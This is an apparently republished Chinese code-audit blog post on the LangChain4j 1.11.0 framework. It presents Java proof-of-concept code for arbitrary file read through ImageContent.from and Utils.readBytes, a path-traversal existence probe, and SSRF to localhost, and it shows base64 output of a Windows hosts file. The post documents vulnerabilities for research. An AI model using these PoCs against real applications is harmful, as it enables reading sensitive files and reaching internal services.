langchain4j1.11.0框架简单审计

admin 2026-04-16 04:04:03 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档对LangChain4j1.11.0框架进行代码审计,发现三处安全漏洞:ImageContent类extractBase64Content函数存在任意文件读取漏洞,可读取系统敏感文件;CustomMimeTypesFileTypeDetector存在目录穿越但仅能探测文件存在性;Utils.readBytes函数存在任意文件读取和SSRF漏洞,可访问本地文件或内网资源。作者提供了完整的POC代码验证漏洞。 综合评分: 65 文章分类: 代码审计,漏洞分析,WEB安全,应用安全,安全工具


cover_image

langchain4j 1.11.0框架简单审计

原创

ap0s ap0s

ap0s

2026年2月20日 00:04 安徽

在小说阅读器读本章

去阅读

langchain4j 1.11.0框架代码审计

水文一篇,酌情观看,没找到能反序列化的点,项目中除了jackson其他好像没有地方调用反序列化

简介

LangChain4j 的目标是简化将 LLM 集成到 Java 应用程序中的过程。

环境

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<dependency>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<groupId>dev.langchain4j</groupId>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<artifactId>langchain4j-open-ai</artifactId>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<version>1.11.0</version>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</dependency>

任意文件读取

dev.langchain4j.data.message中多处调用extractBase64Content函数,跟进

可见读取任意文件进行编码返回

package&nbsp;org.example;

import&nbsp;dev.langchain4j.data.message.ImageContent;
import&nbsp;dev.langchain4j.data.message.Content;
import&nbsp;dev.langchain4j.data.message.TextContent;
import&nbsp;dev.langchain4j.data.image.Image;

import&nbsp;java.nio.file.Path;
import&nbsp;java.nio.file.Paths;
import&nbsp;java.nio.file.Files;
import&nbsp;java.util.Base64;

public&nbsp;class&nbsp;Main&nbsp;{

&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Path filePath = Paths.get("C:\\Windows\\System32\\drivers\\etc\\hosts");

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ImageContent imageContent = ImageContent.from(filePath,&nbsp;"text/plain");

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println(imageContent);
&nbsp; &nbsp; &nbsp; &nbsp; }catch&nbsp;(Exception e){
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

ImageContent { image = Image { url = null, base64Data =&nbsp;"IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQojIHNwYWNlLg0KIw0KIyBBZGRpdGlvbmFsbHksIGNvbW1lbnRzIChzdWNoIGFzIHRoZXNlKSBtYXkgYmUgaW5zZXJ0ZWQgb24gaW5kaXZpZHVhbA0KIyBsaW5lcyBvciBmb2xsb3dpbmcgdGhlIG1hY2hpbmUgbmFtZSBkZW5vdGVkIGJ5IGEgJyMnIHN5bWJvbC4NCiMNCiMgRm9yIGV4YW1wbGU6DQojDQojICAgICAgMTAyLjU0Ljk0Ljk3ICAgICByaGluby5hY21lLmNvbSAgICAgICAgICAjIHNvdXJjZSBzZXJ2ZXINCiMgICAgICAgMzguMjUuNjMuMTAgICAgIHguYWNtZS5jb20gICAgICAgICAgICAgICMgeCBjbGllbnQgaG9zdA0KDQojIGxvY2FsaG9zdCBuYW1lIHJlc29sdXRpb24gaXMgaGFuZGxlZCB3aXRoaW4gRE5TIGl0c2VsZi4NCiMJMTI3LjAuMC4xICAgICAgIGxvY2FsaG9zdA0KIwk6OjEgICAgICAgICAgICAgbG9jYWxob3N0DQowLjAuMC4wIGJyb3dzZXIucGlwZS5hcmlhLm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgZG1kLm1ldGFzZXJ2aWNlcy5taWNyb3NvZnQuY29tDQowLjAuMC4wIHJpcy5hcGkuaXJpcy5taWNyb3NvZnQuY29tDQowLjAuMC4wIHRlYW1zLmV2ZW50cy5kYXRhLm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgdGVsZWNvbW1hbmQudGVsZW1ldHJ5Lm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgdGVsZW1ldHJ5Lm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgdm9ydGV4LXdpbi5kYXRhLm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgd2F0c29uLmV2ZW50cy5kYXRhLm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgYWN0aXZpdHkud2luZG93cy5jb20NCjAuMC4wLjAgYnJvd3Nlci5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIG91dGxvb2thZHMubGl2ZS5jb20NCg0KIyBXaW5kb3dzIEVycm9yIFJlcG9ydGluZw0KIyBodHRwczovL2xlYXJuLm1pY3Jvc29mdC5jb20vZW4tdXMvdHJvdWJsZXNob290L3dpbmRvd3MtY2xpZW50L3N5c3RlbS1tYW5hZ2VtZW50LWNvbXBvbmVudHMvd2luZG93cy1lcnJvci1yZXBvcnRpbmctZGlhZ25vc3RpY3MtZW5hYmxlbWVudC1ndWlkYW5jZSNjb25maWd1cmUtbmV0d29yay1lbmRwb2ludHMtdG8tYmUtYWxsb3dlZA0KMC4wLjAuMCB3YXRzb24ubWljcm9zb2Z0LmNvbQ0KMC4wLjAuMCB3YXRzb24udGVsZW1ldHJ5Lm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgdW13YXRzb25jLmV2ZW50cy5kYXRhLm1pY3Jvc29mdC5jb20NCjAuMC4wLjAgY2V1c3dhdGNhYjAxLmJsb2IuY29yZS53aW5kb3dzLm5ldA0KMC4wLjAuMCBjZXVzd2F0Y2FiMDIuYmxvYi5jb3JlLndpbmRvd3MubmV0DQowLjAuMC4wIGVhdXMyd2F0Y2FiMDEuYmxvYi5jb3JlLndpbmRvd3MubmV0DQowLjAuMC4wIGVhdXMyd2F0Y2FiMDIuYmxvYi5jb3JlLndpbmRvd3MubmV0DQowLjAuMC4wIHdldXMyd2F0Y2FiMDEuYmxvYi5jb3JlLndpbmRvd3MubmV0DQowLjAuMC4wIHdldXMyd2F0Y2FiMDIuYmxvYi5jb3JlLndpbmRvd3MubmV0DQoNCiMgRGlhZ1RyYWNrL1RlbGVtZXRyeQ0KMC4wLjAuMCBldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIGV1LXYyMC5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIGF1LXYyMC5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIHVrLXYyMC5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIHYxMC5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIHVzLXYyMC5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIHYyMC5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIGV2ZW50cy1zYW5kYm94LmRhdGEubWljcm9zb2Z0LmNvbQ0KMC4wLjAuMCBwaXBlLmRldi50cmFmZmljbWFuYWdlci5uZXQNCjAuMC4wLjAgdjEwYy5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIHYxMC52b3J0ZXgtd2luLmRhdGEubWljcm9zb2Z0LmNvbQ0KDQojIEJyYXZlDQowLjAuMC4wIHAzYS5icmF2ZS5jb20NCjAuMC4wLjAgcDJhLmJyYXZlLmNvbQ0KMC4wLjAuMCBwM2EtanNvbi5icmF2ZS5jb20NCjAuMC4wLjAgcDJhLWpzb24uYnJhdmUuY29tDQojIDAuMC4wLjAgbGFwdG9wLXVwZGF0ZXMuYnJhdmUuY29tDQojIDAuMC4wLjAgdmFyaWF0aW9ucy5icmF2ZS5jb20NCjAuMC4wLjAgY3IuYnJhdmUuY29tDQowLjAuMC4wIHN0YXItcmFuZHNydi5ic2cuYnJhdmUuY29tDQoNCiMgVmlzdWFsIFN0dWRpbyAvIFZTQ29kZQ0KMC4wLjAuMCB2b3J0ZXguZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIGRjLnNlcnZpY2VzLnZpc3VhbHN0dWRpby5jb20NCjAuMC4wLjAgdmlzdWFsc3R1ZGlvLWRldmRpdi1jMnMubXNlZGdlLm5ldA0KMC4wLjAuMCBhejY2NzkwNC52by5tc2VjbmQubmV0DQowLjAuMC4wIHNjdXMtYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldA0KMC4wLjAuMCBudy11bXdhdHNvbi5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wIG1vYmlsZS5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tDQowLjAuMC4wICAgICAgICAgLnBzZg0KMC4wLjAuMCAgICAgICAgIE1hYw0KMC4wLjAuMCAgICAgICAgIHBzZg0K", mimeType =&nbsp;"text/plain", revisedPrompt = null } detailLevel = LOW }

目录穿越

dev.langchain4j.internalprobeContentType函数中

这里并不能直接读取文件内容,只能判断文件存不存在

POC:

package&nbsp;org.example;

import&nbsp;dev.langchain4j.internal.CustomMimeTypesFileTypeDetector;
import&nbsp;java.net.URI;

public&nbsp;class&nbsp;Main&nbsp;{
&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;throws&nbsp;Exception&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; CustomMimeTypesFileTypeDetector detector =&nbsp;new&nbsp;CustomMimeTypesFileTypeDetector();

&nbsp; &nbsp; &nbsp; &nbsp; URI uri = URI.create("file:///../../secret.txt");

&nbsp; &nbsp; &nbsp; &nbsp; String result = detector.probeContentType(uri);
&nbsp; &nbsp; &nbsp; &nbsp; System.out.println(result);
&nbsp; &nbsp; }
}

任意文件读取

dev.langchain4j.internal``readBytes函数中直接调用会进行任意文件读取

POC:

package&nbsp;org.example;

import&nbsp;dev.langchain4j.internal.Utils;

public&nbsp;class&nbsp;Main&nbsp;{
&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String fileUrl =&nbsp;"file:///../../../windows/win.ini";

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] content = Utils.readBytes(fileUrl);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println(new&nbsp;String(content));

&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.err.println(e.getMessage());
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

SSRF

dev.langchain4j.internal``readBytes函数中直接调用拼接http头

POC:

package&nbsp;org.example;

import&nbsp;dev.langchain4j.internal.Utils;

public&nbsp;class&nbsp;Main&nbsp;{
&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String fileUrl =&nbsp;"http://127.0.0.1:8000";

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println("[*] 尝试读取: "&nbsp;+ fileUrl);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] content = Utils.readBytes(fileUrl);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println(new&nbsp;String(content));

&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.err.println("[-] 错误: "&nbsp;+ e.getMessage());
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:ap0s ap0s ap0s《langchain4j 1.11.0框架简单审计》

评论:0   参与:  0